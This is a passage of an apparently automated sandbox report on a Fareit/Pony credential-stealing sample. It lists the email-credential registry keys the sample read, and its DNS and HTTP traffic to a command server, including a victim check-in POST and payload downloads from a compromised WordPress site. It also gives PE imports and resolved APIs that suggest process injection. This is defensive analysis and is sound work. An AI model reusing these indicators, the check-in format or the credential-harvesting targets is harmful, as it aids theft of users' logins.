  682. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604"
  683. },
  684. {
  685. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8f92b60606058348930a96946cf329e1"
  686. },
  687. {
  688. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Password"
  689. },
  690. {
  691. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Server"
  692. },
  693. {
  694. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTP User"
  695. },
  696. {
  697. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts"
  698. },
  699. {
  700. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Account Manager\\Accounts"
  701. },
  702. {
  703. "key": "HKEY_CURRENT_USER\\Identities\\{0A258175-2D14-4D69-9955-E200F247250F}\\Software\\Microsoft\\Internet Account Manager\\Accounts"
  704. }
  705. ]
  706. },
  707. {
  708. "Description": "Created network traffic indicative of malicious activity",
  709. "Details": [
  710. {
  711. "signature": "ET TROJAN Fareit/Pony Downloader Checkin 2"
  712. }
  713. ]
  714. }
  715. ]
  716.  
  717. [*] Started Service: [
  718. "VaultSvc"
  719. ]
  720.  
  721. [*] Executed Commands: [
  722. "cmd /K",
  723. "C:\\Users\\user\\AppData\\Local\\Temp\\BN253C.tmp",
  724. "C:\\Windows\\system32\\lsass.exe"
  725. ]
  726.  
  727. [*] Mutexes: [
  728. "DBWinMutex",
  729. "Local\\mtxLogMeInIgnition.IgnitionMutex"
  730. ]
  731.  
  732. [*] Modified Files: [
  733. "\\??\\PIPE\\samr",
  734. "C:\\Users\\user\\AppData\\Local\\Temp\\BN253C.tmp"
  735. ]
  736.  
  737. [*] Deleted Files: []
  738.  
  739. [*] Modified Registry Keys: [
  740. "HKEY_CURRENT_USER\\Software\\WinRAR",
  741. "HKEY_CURRENT_USER\\Software\\WinRAR\\HWID",
  742. "HKEY_CURRENT_USER\\Software\\WinRAR\\Client Hash"
  743. ]
  744.  
  745. [*] Deleted Registry Keys: []
  746.  
  747. [*] DNS Communications: [
  748. {
  749. "type": "A",
  750. "request": "api.ipify.org",
  751. "answers": [
  752. {
  753. "data": "54.243.198.12",
  754. "type": "A"
  755. },
  756. {
  757. "data": "54.204.36.156",
  758. "type": "A"
  759. },
  760. {
  761. "data": "50.16.229.140",
  762. "type": "A"
  763. },
  764. {
  765. "data": "107.22.215.20",
  766. "type": "A"
  767. },
  768. {
  769. "data": "54.243.147.226",
  770. "type": "A"
  771. },
  772. {
  773. "data": "nagano-19599.herokussl.com",
  774. "type": "CNAME"
  775. },
  776. {
  777. "data": "23.21.121.219",
  778. "type": "A"
  779. },
  780. {
  781. "data": "23.23.243.154",
  782. "type": "A"
  783. },
  784. {
  785. "data": "54.235.124.112",
  786. "type": "A"
  787. },
  788. {
  789. "data": "elb097307-934924932.us-east-1.elb.amazonaws.com",
  790. "type": "CNAME"
  791. }
  792. ]
  793. },
  794. {
  795. "type": "A",
  796. "request": "totharduron.com",
  797. "answers": [
  798. {
  799. "data": "54.37.139.198",
  800. "type": "A"
  801. }
  802. ]
  803. },
  804. {
  805. "type": "A",
  806. "request": "elcarrocafeny.com",
  807. "answers": [
  808. {
  809. "data": "166.62.111.64",
  810. "type": "A"
  811. }
  812. ]
  813. }
  814. ]
  815.  
  816. [*] Domains: [
  817. {
  818. "ip": "166.62.111.64",
  819. "domain": "elcarrocafeny.com"
  820. },
  821. {
  822. "ip": "54.37.139.198",
  823. "domain": "totharduron.com"
  824. },
  825. {
  826. "ip": "54.243.147.226",
  827. "domain": "api.ipify.org"
  828. }
  829. ]
  830.  
  831. [*] Network Communication - ICMP: []
  832.  
  833. [*] Network Communication - HTTP: [
  834. {
  835. "count": 1,
  836. "body": "",
  837. "uri": "http://api.ipify.org/",
  838. "user-agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko",
  839. "method": "GET",
  840. "host": "api.ipify.org",
  841. "version": "1.1",
  842. "path": "/",
  843. "data": "GET / HTTP/1.1\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko\r\nHost: api.ipify.org\r\nCache-Control: no-cache\r\n\r\n",
  844. "port": 80
  845. },
  846. {
  847. "count": 12,
  848. "body": "GUID=13962714691609739288&BUILD=01_07_834832&INFO=Host @ Host\\user&IP=0.0.0.0&TYPE=1&WIN=6.1(x64)",
  849. "uri": "http://totharduron.com/4/forum.php",
  850. "user-agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko",
  851. "method": "POST",
  852. "host": "totharduron.com",
  853. "version": "1.1",
  854. "path": "/4/forum.php",
  855. "data": "POST /4/forum.php HTTP/1.1\r\nAccept: */*\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko\r\nHost: totharduron.com\r\nContent-Length: 109\r\nCache-Control: no-cache\r\n\r\nGUID=13962714691609739288&BUILD=01_07_834832&INFO=Host @ Host\\user&IP=0.0.0.0&TYPE=1&WIN=6.1(x64)",
  856. "port": 80
  857. },
  858. {
  859. "count": 1,
  860. "body": "",
  861. "uri": "http://elcarrocafeny.com/wp-content/plugins/wp-symetrio/1",
  862. "user-agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko",
  863. "method": "GET",
  864. "host": "elcarrocafeny.com",
  865. "version": "1.1",
  866. "path": "/wp-content/plugins/wp-symetrio/1",
  867. "data": "GET /wp-content/plugins/wp-symetrio/1 HTTP/1.1\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko\r\nHost: elcarrocafeny.com\r\nCache-Control: no-cache\r\n\r\n",
  868. "port": 80
  869. },
  870. {
  871. "count": 1,
  872. "body": "",
  873. "uri": "http://totharduron.com/mlu/forum.php",
  874. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  875. "method": "POST",
  876. "host": "totharduron.com",
  877. "version": "1.0",
  878. "path": "/mlu/forum.php",
  879. "data": "POST /mlu/forum.php HTTP/1.0\r\nHost: totharduron.com\r\nAccept: */*\r\nAccept-Encoding: identity, *;q=0\r\nAccept-Language: en-US\r\nContent-Length: 206\r\nContent-Type: application/octet-stream\r\nConnection: close\r\nContent-Encoding: binary\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\n\r\n",
  880. "port": 80
  881. },
  882. {
  883. "count": 1,
  884. "body": "",
  885. "uri": "http://elcarrocafeny.com/wp-content/plugins/wp-symetrio/3",
  886. "user-agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko",
  887. "method": "GET",
  888. "host": "elcarrocafeny.com",
  889. "version": "1.1",
  890. "path": "/wp-content/plugins/wp-symetrio/3",
  891. "data": "GET /wp-content/plugins/wp-symetrio/3 HTTP/1.1\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko\r\nHost: elcarrocafeny.com\r\nCache-Control: no-cache\r\n\r\n",
  892. "port": 80
  893. }
  894. ]
  895.  
  896. [*] Network Communication - SMTP: []
  897.  
  898. [*] Network Communication - Hosts: []
  899.  
  900. [*] Network Communication - IRC: []
  901.  
  902. [*] Static Analysis: {
  903. "pe": {
  904. "peid_signatures": null,
  905. "imports": [
  906. {
  907. "imports": [
  908. {
  909. "name": "GetDateFormatA",
  910. "address": "0x412024"
  911. },
  912. {
  913. "name": "GetTimeFormatA",
  914. "address": "0x412028"
  915. },
  916. {
  917. "name": "GetUserDefaultLCID",
  918. "address": "0x41202c"
  919. },
  920. {
  921. "name": "GetLocaleInfoA",
  922. "address": "0x412030"
  923. },
  924. {
  925. "name": "VirtualProtect",
  926. "address": "0x412034"
  927. },
  928. {
  929. "name": "GetStringTypeW",
  930. "address": "0x412038"
  931. },
  932. {
  933. "name": "GetStringTypeA",
  934. "address": "0x41203c"
  935. },
  936. {
  937. "name": "LCMapStringW",
  938. "address": "0x412040"
  939. },
  940. {
  941. "name": "LCMapStringA",
  942. "address": "0x412044"
  943. },
  944. {
  945. "name": "LoadLibraryA",
  946. "address": "0x412048"
  947. },
  948. {
  949. "name": "InterlockedExchange",
  950. "address": "0x41204c"
  951. },
  952. {
  953. "name": "FreeLibrary",
  954. "address": "0x412050"
  955. },
  956. {
  957. "name": "GetConsoleOutputCP",
  958. "address": "0x412054"
  959. },
  960. {
  961. "name": "WriteConsoleA",
  962. "address": "0x412058"
  963. },
  964. {
  965. "name": "SetStdHandle",
  966. "address": "0x41205c"
  967. },
  968. {
  969. "name": "InitializeCriticalSectionAndSpinCount",
  970. "address": "0x412060"
  971. },
  972. {
  973. "name": "CloseHandle",
  974. "address": "0x412064"
  975. },
  976. {
  977. "name": "CreateFileW",
  978. "address": "0x412068"
  979. },
  980. {
  981. "name": "GetLastError",
  982. "address": "0x41206c"
  983. },
  984. {
  985. "name": "ReadFile",
  986. "address": "0x412070"
  987. },
  988. {
  989. "name": "WriteFile",
  990. "address": "0x412074"
  991. },
  992. {
  993. "name": "SetFilePointer",
  994. "address": "0x412078"
  995. },
  996. {
  997. "name": "WideCharToMultiByte",
  998. "address": "0x41207c"
  999. },
  1000. {
  1001. "name": "lstrlenW",
  1002. "address": "0x412080"
  1003. },
  1004. {
  1005. "name": "GetFileSize",
  1006. "address": "0x412084"
  1007. },
  1008. {
  1009. "name": "MapViewOfFile",
  1010. "address": "0x412088"
  1011. },
  1012. {
  1013. "name": "CreateFileMappingW",
  1014. "address": "0x41208c"
  1015. },
  1016. {
  1017. "name": "DeleteFileW",
  1018. "address": "0x412090"
  1019. },
  1020. {
  1021. "name": "UnmapViewOfFile",
  1022. "address": "0x412094"
  1023. },
  1024. {
  1025. "name": "FileTimeToDosDateTime",
  1026. "address": "0x412098"
  1027. },
  1028. {
  1029. "name": "MultiByteToWideChar",
  1030. "address": "0x41209c"
  1031. },
  1032. {
  1033. "name": "SetEvent",
  1034. "address": "0x4120a0"
  1035. },
  1036. {
  1037. "name": "ResumeThread",
  1038. "address": "0x4120a4"
  1039. },
  1040. {
  1041. "name": "WaitForSingleObject",
  1042. "address": "0x4120a8"
  1043. },
  1044. {
  1045. "name": "SuspendThread",
  1046. "address": "0x4120ac"
  1047. },
  1048. {
  1049. "name": "ResetEvent",
  1050. "address": "0x4120b0"
  1051. },
  1052. {
  1053. "name": "CreateThread",
  1054. "address": "0x4120b4"
  1055. },
  1056. {
  1057. "name": "Sleep",
  1058. "address": "0x4120b8"
  1059. },
  1060. {
  1061. "name": "GlobalUnlock",
  1062. "address": "0x4120bc"
  1063. },
  1064. {
  1065. "name": "GlobalLock",
  1066. "address": "0x4120c0"
  1067. },
  1068. {
  1069. "name": "GlobalAlloc",
  1070. "address": "0x4120c4"
  1071. },
  1072. {
  1073. "name": "EnumSystemLocalesA",
  1074. "address": "0x4120c8"
  1075. },
  1076. {
  1077. "name": "SizeofResource",
  1078. "address": "0x4120cc"
  1079. },
  1080. {
  1081. "name": "GetSystemDefaultLangID",
  1082. "address": "0x4120d0"
  1083. },
  1084. {
  1085. "name": "FindResourceW",
  1086. "address": "0x4120d4"
  1087. },
  1088. {
  1089. "name": "lstrlenA",
  1090. "address": "0x4120d8"
  1091. },
  1092. {
  1093. "name": "lstrcatW",
  1094. "address": "0x4120dc"
  1095. },
  1096. {
  1097. "name": "GetTempPathW",
  1098. "address": "0x4120e0"
  1099. },
  1100. {
  1101. "name": "CreateEventW",
  1102. "address": "0x4120e4"
  1103. },
  1104. {
  1105. "name": "FindClose",
  1106. "address": "0x4120e8"
  1107. },
  1108. {
  1109. "name": "FindFirstFileW",
  1110. "address": "0x4120ec"
  1111. },
  1112. {
  1113. "name": "GetCommandLineW",
  1114. "address": "0x4120f0"
  1115. },
  1116. {
  1117. "name": "FileTimeToLocalFileTime",
  1118. "address": "0x4120f4"
  1119. },
  1120. {
  1121. "name": "CreateFileA",
  1122. "address": "0x4120f8"
  1123. },
  1124. {
  1125. "name": "GetCurrentProcessId",
  1126. "address": "0x4120fc"
  1127. },
  1128. {
  1129. "name": "GetTickCount",
  1130. "address": "0x412100"
  1131. },
  1132. {
  1133. "name": "QueryPerformanceCounter",
  1134. "address": "0x412104"
  1135. },
  1136. {
  1137. "name": "GetEnvironmentStringsW",
  1138. "address": "0x412108"
  1139. },
  1140. {
  1141. "name": "FreeEnvironmentStringsW",
  1142. "address": "0x41210c"
  1143. },
  1144. {
  1145. "name": "GetEnvironmentStrings",
  1146. "address": "0x412110"
  1147. },
  1148. {
  1149. "name": "FreeEnvironmentStringsA",
  1150. "address": "0x412114"
  1151. },
  1152. {
  1153. "name": "HeapSize",
  1154. "address": "0x412118"
  1155. },
  1156. {
  1157. "name": "GetModuleHandleA",
  1158. "address": "0x41211c"
  1159. },
  1160. {
  1161. "name": "IsValidCodePage",
  1162. "address": "0x412120"
  1163. },
  1164. {
  1165. "name": "GetOEMCP",
  1166. "address": "0x412124"
  1167. },
  1168. {
  1169. "name": "GetACP",
  1170. "address": "0x412128"
  1171. },
  1172. {
  1173. "name": "GetCPInfo",
  1174. "address": "0x41212c"
  1175. },
  1176. {
  1177. "name": "GetCurrentThread",
  1178. "address": "0x412130"
  1179. },
  1180. {
  1181. "name": "InterlockedDecrement",
  1182. "address": "0x412134"
  1183. },
  1184. {
  1185. "name": "GetCurrentThreadId",
  1186. "address": "0x412138"
  1187. },
  1188. {
  1189. "name": "SetLastError",
  1190. "address": "0x41213c"
  1191. },
  1192. {
  1193. "name": "InterlockedIncrement",
  1194. "address": "0x412140"
  1195. },
  1196. {
  1197. "name": "TlsFree",
  1198. "address": "0x412144"
  1199. },
  1200. {
  1201. "name": "WriteConsoleW",
  1202. "address": "0x412148"
  1203. },
  1204. {
  1205. "name": "TlsSetValue",
  1206. "address": "0x41214c"
  1207. },
  1208. {
  1209. "name": "TlsAlloc",
  1210. "address": "0x412150"
  1211. },
  1212. {
  1213. "name": "TlsGetValue",
  1214. "address": "0x412154"
  1215. },
  1216. {
  1217. "name": "GetModuleFileNameA",
  1218. "address": "0x412158"
  1219. },
  1220. {
  1221. "name": "ExitProcess",
  1222. "address": "0x41215c"
  1223. },
  1224. {
  1225. "name": "GetProcAddress",
  1226. "address": "0x412160"
  1227. },
  1228. {
  1229. "name": "GetModuleHandleW",
  1230. "address": "0x412164"
  1231. },
  1232. {
  1233. "name": "HeapDestroy",
  1234. "address": "0x412168"
  1235. },
  1236. {
  1237. "name": "HeapCreate",
  1238. "address": "0x41216c"
  1239. },
  1240. {
  1241. "name": "HeapReAlloc",
  1242. "address": "0x412170"
  1243. },
  1244. {
  1245. "name": "VirtualAlloc",
  1246. "address": "0x412174"
  1247. },
  1248. {
  1249. "name": "IsValidLocale",
  1250. "address": "0x412178"
  1251. },
  1252. {
  1253. "name": "SetEndOfFile",
  1254. "address": "0x41217c"
  1255. },
  1256. {
  1257. "name": "GetProcessHeap",
  1258. "address": "0x412180"
  1259. },
  1260. {
  1261. "name": "GetLocaleInfoW",
  1262. "address": "0x412184"
  1263. },
  1264. {
  1265. "name": "GetTimeZoneInformation",
  1266. "address": "0x412188"
  1267. },
  1268. {
  1269. "name": "CompareStringA",
  1270. "address": "0x41218c"
  1271. },
  1272. {
  1273. "name": "CompareStringW",
  1274. "address": "0x412190"
  1275. },
  1276. {
  1277. "name": "LoadResource",
  1278. "address": "0x412194"
  1279. },
  1280. {
  1281. "name": "SetEnvironmentVariableA",
  1282. "address": "0x412198"
  1283. },
  1284. {
  1285. "name": "SetConsoleCtrlHandler",
  1286. "address": "0x41219c"
  1287. },
  1288. {
  1289. "name": "FlushFileBuffers",
  1290. "address": "0x4121a0"
  1291. },
  1292. {
  1293. "name": "VirtualFree",
  1294. "address": "0x4121a4"
  1295. },
  1296. {
  1297. "name": "FatalAppExitA",
  1298. "address": "0x4121a8"
  1299. },
  1300. {
  1301. "name": "DeleteCriticalSection",
  1302. "address": "0x4121ac"
  1303. },
  1304. {
  1305. "name": "HeapAlloc",
  1306. "address": "0x4121b0"
  1307. },
  1308. {
  1309. "name": "HeapFree",
  1310. "address": "0x4121b4"
  1311. },
  1312. {
  1313. "name": "RaiseException",
  1314. "address": "0x4121b8"
  1315. },
  1316. {
  1317. "name": "RtlUnwind",
  1318. "address": "0x4121bc"
  1319. },
  1320. {
  1321. "name": "GlobalAddAtomW",
  1322. "address": "0x4121c0"
  1323. },
  1324. {
  1325. "name": "GetSystemTimeAsFileTime",
  1326. "address": "0x4121c4"
  1327. },
  1328. {
  1329. "name": "GetCommandLineA",
  1330. "address": "0x4121c8"
  1331. },
  1332. {
  1333. "name": "GetStartupInfoA",
  1334. "address": "0x4121cc"
  1335. },
  1336. {
  1337. "name": "EnterCriticalSection",
  1338. "address": "0x4121d0"
  1339. },
  1340. {
  1341. "name": "LeaveCriticalSection",
  1342. "address": "0x4121d4"
  1343. },
  1344. {
  1345. "name": "TerminateProcess",
  1346. "address": "0x4121d8"
  1347. },
  1348. {
  1349. "name": "GetCurrentProcess",
  1350. "address": "0x4121dc"
  1351. },
  1352. {
  1353. "name": "UnhandledExceptionFilter",
  1354. "address": "0x4121e0"
  1355. },
  1356. {
  1357. "name": "SetUnhandledExceptionFilter",
  1358. "address": "0x4121e4"
  1359. },
  1360. {
  1361. "name": "IsDebuggerPresent",
  1362. "address": "0x4121e8"
  1363. },
  1364. {
  1365. "name": "GetConsoleCP",
  1366. "address": "0x4121ec"
  1367. },
  1368. {
  1369. "name": "GetConsoleMode",
  1370. "address": "0x4121f0"
  1371. },
  1372. {
  1373. "name": "SetHandleCount",
  1374. "address": "0x4121f4"
  1375. },
  1376. {
  1377. "name": "GetStdHandle",
  1378. "address": "0x4121f8"
  1379. },
  1380. {
  1381. "name": "GetFileType",
  1382. "address": "0x4121fc"
  1383. }
  1384. ],
  1385. "dll": "KERNEL32.dll"
  1386. },
  1387. {
  1388. "imports": [
  1389. {
  1390. "name": "DialogBoxParamW",
  1391. "address": "0x412204"
  1392. },
  1393. {
  1394. "name": "GetSysColor",
  1395. "address": "0x412208"
  1396. },
  1397. {
  1398. "name": "EnableWindow",
  1399. "address": "0x41220c"
  1400. },
  1401. {
  1402. "name": "SendMessageA",
  1403. "address": "0x412210"
  1404. },
  1405. {
  1406. "name": "LoadIconW",
  1407. "address": "0x412214"
  1408. },
  1409. {
  1410. "name": "wsprintfW",
  1411. "address": "0x412218"
  1412. },
  1413. {
  1414. "name": "GetDC",
  1415. "address": "0x41221c"
  1416. },
  1417. {
  1418. "name": "SetRect",
  1419. "address": "0x412220"
  1420. },
  1421. {
  1422. "name": "ValidateRect",
  1423. "address": "0x412224"
  1424. },
  1425. {
  1426. "name": "GetWindowLongW",
  1427. "address": "0x412228"
  1428. },
  1429. {
  1430. "name": "SetWindowLongW",
  1431. "address": "0x41222c"
  1432. },
  1433. {
  1434. "name": "SetWindowTextW",
  1435. "address": "0x412230"
  1436. },
  1437. {
  1438. "name": "ReleaseDC",
  1439. "address": "0x412234"
  1440. },
  1441. {
  1442. "name": "SetDlgItemTextW",
  1443. "address": "0x412238"
  1444. },
  1445. {
  1446. "name": "IsWindow",
  1447. "address": "0x41223c"
  1448. },
  1449. {
  1450. "name": "GetWindowRect",
  1451. "address": "0x412240"
  1452. },
  1453. {
  1454. "name": "SetWindowPos",
  1455. "address": "0x412244"
  1456. },
  1457. {
  1458. "name": "GetDlgItem",
  1459. "address": "0x412248"
  1460. },
  1461. {
  1462. "name": "SendMessageW",
  1463. "address": "0x41224c"
  1464. },
  1465. {
  1466. "name": "PostMessageW",
  1467. "address": "0x412250"
  1468. },
  1469. {
  1470. "name": "InvalidateRect",
  1471. "address": "0x412254"
  1472. },
  1473. {
  1474. "name": "ShowWindow",
  1475. "address": "0x412258"
  1476. },
  1477. {
  1478. "name": "EndDialog",
  1479. "address": "0x41225c"
  1480. },
  1481. {
  1482. "name": "LoadCursorW",
  1483. "address": "0x412260"
  1484. },
  1485. {
  1486. "name": "SetCursor",
  1487. "address": "0x412264"
  1488. },
  1489. {
  1490. "name": "CallWindowProcW",
  1491. "address": "0x412268"
  1492. },
  1493. {
  1494. "name": "MessageBoxW",
  1495. "address": "0x41226c"
  1496. },
  1497. {
  1498. "name": "GetClientRect",
  1499. "address": "0x412270"
  1500. },
  1501. {
  1502. "name": "GetWindowTextW",
  1503. "address": "0x412274"
  1504. },
  1505. {
  1506. "name": "LockWindowUpdate",
  1507. "address": "0x412278"
  1508. },
  1509. {
  1510. "name": "ScreenToClient",
  1511. "address": "0x41227c"
  1512. }
  1513. ],
  1514. "dll": "USER32.dll"
  1515. },
  1516. {
  1517. "imports": [
  1518. {
  1519. "name": "GetDeviceCaps",
  1520. "address": "0x412000"
  1521. },
  1522. {
  1523. "name": "GetObjectW",
  1524. "address": "0x412004"
  1525. },
  1526. {
  1527. "name": "CreateSolidBrush",
  1528. "address": "0x412008"
  1529. },
  1530. {
  1531. "name": "SelectObject",
  1532. "address": "0x41200c"
  1533. },
  1534. {
  1535. "name": "SetTextColor",
  1536. "address": "0x412010"
  1537. },
  1538. {
  1539. "name": "GetStockObject",
  1540. "address": "0x412014"
  1541. },
  1542. {
  1543. "name": "CreateFontIndirectW",
  1544. "address": "0x412018"
  1545. },
  1546. {
  1547. "name": "SetBkMode",
  1548. "address": "0x41201c"
  1549. }
  1550. ],
  1551. "dll": "GDI32.dll"
  1552. }
  1553. ],
  1554. "digital_signers": null,
  1555. "exported_dll_name": null,
  1556. "actual_checksum": "0x00026cd5",
  1557. "overlay": null,
  1558. "imagebase": "0x00400000",
  1559. "reported_checksum": "0x00026cd5",
  1560. "icon_hash": null,
  1561. "entrypoint": "0x0040a7af",
  1562. "timestamp": "2019-04-23 05:10:14",
  1563. "osversion": "4.0",
  1564. "sections": [
  1565. {
  1566. "name": ".text",
  1567. "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
  1568. "virtual_address": "0x00001000",
  1569. "size_of_data": "0x00010e00",
  1570. "entropy": "5.14",
  1571. "raw_address": "0x00000400",
  1572. "virtual_size": "0x00010c90",
  1573. "characteristics_raw": "0x60000020"
  1574. },
  1575. {
  1576. "name": ".rdata",
  1577. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
  1578. "virtual_address": "0x00012000",
  1579. "size_of_data": "0x00001400",
  1580. "entropy": "4.68",
  1581. "raw_address": "0x00011200",
  1582. "virtual_size": "0x000013ee",
  1583. "characteristics_raw": "0x40000040"
  1584. },
  1585. {
  1586. "name": ".data",
  1587. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  1588. "virtual_address": "0x00014000",
  1589. "size_of_data": "0x00003c00",
  1590. "entropy": "1.07",
  1591. "raw_address": "0x00012600",
  1592. "virtual_size": "0x00006cc0",
  1593. "characteristics_raw": "0xc0000040"
  1594. },
  1595. {
  1596. "name": ".rsrc",
  1597. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
  1598. "virtual_address": "0x0001b000",
  1599. "size_of_data": "0x00002000",
  1600. "entropy": "5.21",
  1601. "raw_address": "0x00016200",
  1602. "virtual_size": "0x00002000",
  1603. "characteristics_raw": "0x40000040"
  1604. }
  1605. ],
  1606. "resources": [],
  1607. "dirents": [
  1608. {
  1609. "virtual_address": "0x00002f10",
  1610. "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
  1611. "size": "0x0000049c"
  1612. },
  1613. {
  1614. "virtual_address": "0x00012640",
  1615. "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
  1616. "size": "0x00000050"
  1617. },
  1618. {
  1619. "virtual_address": "0x0001b000",
  1620. "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
  1621. "size": "0x00001328"
  1622. },
  1623. {
  1624. "virtual_address": "0x00000000",
  1625. "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
  1626. "size": "0x00000000"
  1627. },
  1628. {
  1629. "virtual_address": "0x00000000",
  1630. "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
  1631. "size": "0x00000000"
  1632. },
  1633. {
  1634. "virtual_address": "0x00000000",
  1635. "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
  1636. "size": "0x00000000"
  1637. },
  1638. {
  1639. "virtual_address": "0x00000000",
  1640. "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
  1641. "size": "0x00000000"
  1642. },
  1643. {
  1644. "virtual_address": "0x00000000",
  1645. "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
  1646. "size": "0x00000000"
  1647. },
  1648. {
  1649. "virtual_address": "0x00000000",
  1650. "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
  1651. "size": "0x00000000"
  1652. },
  1653. {
  1654. "virtual_address": "0x00000000",
  1655. "name": "IMAGE_DIRECTORY_ENTRY_TLS",
  1656. "size": "0x00000000"
  1657. },
  1658. {
  1659. "virtual_address": "0x00000000",
  1660. "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
  1661. "size": "0x00000000"
  1662. },
  1663. {
  1664. "virtual_address": "0x00000000",
  1665. "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
  1666. "size": "0x00000000"
  1667. },
  1668. {
  1669. "virtual_address": "0x00000000",
  1670. "name": "IMAGE_DIRECTORY_ENTRY_IAT",
  1671. "size": "0x00000284"
  1672. },
  1673. {
  1674. "virtual_address": "0x00000000",
  1675. "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
  1676. "size": "0x00000000"
  1677. },
  1678. {
  1679. "virtual_address": "0x00000000",
  1680. "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
  1681. "size": "0x00000000"
  1682. },
  1683. {
  1684. "virtual_address": "0x00000000",
  1685. "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
  1686. "size": "0x00000000"
  1687. }
  1688. ],
  1689. "exports": [],
  1690. "guest_signers": {},
  1691. "imphash": "066917207e1298837dffe54f19e5875a",
  1692. "icon_fuzzy": null,
  1693. "icon": null,
  1694. "pdbpath": null,
  1695. "imported_dll_count": 3,
  1696. "versioninfo": []
  1697. }
  1698. }
  1699.  
  1700. [*] Resolved APIs: [
  1701. "kernel32.dll.GetModuleHandleA",
  1702. "kernel32.dll.LoadLibraryA",
  1703. "kernel32.dll.VirtualAlloc",
  1704. "kernel32.dll.VirtualFree",
  1705. "kernel32.dll.OutputDebugStringA",
  1706. "ntdll.dll._stricmp",
  1707. "ntdll.dll.memset",
  1708. "ntdll.dll.memcpy",
  1709. "wininet.dll.InternetOpenA",
  1710. "wininet.dll.HttpSendRequestA",
  1711. "wininet.dll.HttpQueryInfoA",
  1712. "wininet.dll.InternetCrackUrlA",
  1713. "wininet.dll.HttpOpenRequestA",
  1714. "wininet.dll.InternetSetOptionA",
  1715. "wininet.dll.InternetQueryOptionA",
  1716. "wininet.dll.InternetReadFile",
  1717. "wininet.dll.InternetConnectA",
  1718. "wininet.dll.InternetCloseHandle",
  1719. "iphlpapi.dll.GetAdaptersAddresses",
  1720. "psapi.dll.GetProcessImageFileNameA",
  1721. "psapi.dll.EnumProcesses",
  1722. "ntdll.dll.RtlDecompressBuffer",
  1723. "kernel32.dll.GetComputerNameA",
  1724. "kernel32.dll.CreateFileA",
  1725. "kernel32.dll.GetTempFileNameA",
  1726. "kernel32.dll.HeapAlloc",
  1727. "kernel32.dll.HeapFree",
  1728. "kernel32.dll.GetProcessHeap",
  1729. "kernel32.dll.VirtualQuery",
  1730. "kernel32.dll.GetVersion",
  1731. "kernel32.dll.lstrcpyA",
  1732. "kernel32.dll.lstrlenA",
  1733. "kernel32.dll.GetWindowsDirectoryA",
  1734. "kernel32.dll.GetVolumeInformationA",
  1735. "kernel32.dll.ExitProcess",
  1736. "kernel32.dll.Sleep",
  1737. "kernel32.dll.lstrcatA",
  1738. "kernel32.dll.GetModuleFileNameA",
  1739. "kernel32.dll.CreateProcessA",
  1740. "kernel32.dll.GetProcAddress",
  1741. "kernel32.dll.VirtualAllocEx",
  1742. "kernel32.dll.VirtualFreeEx",
  1743. "kernel32.dll.OpenProcess",
  1744. "kernel32.dll.TerminateProcess",
  1745. "kernel32.dll.CreateThread",
  1746. "kernel32.dll.GetProcessId",
  1747. "kernel32.dll.GetLastError",
  1748. "kernel32.dll.WriteProcessMemory",
  1749. "kernel32.dll.GetThreadContext",
  1750. "kernel32.dll.SetThreadContext",
  1751. "kernel32.dll.ResumeThread",
  1752. "kernel32.dll.WriteFile",
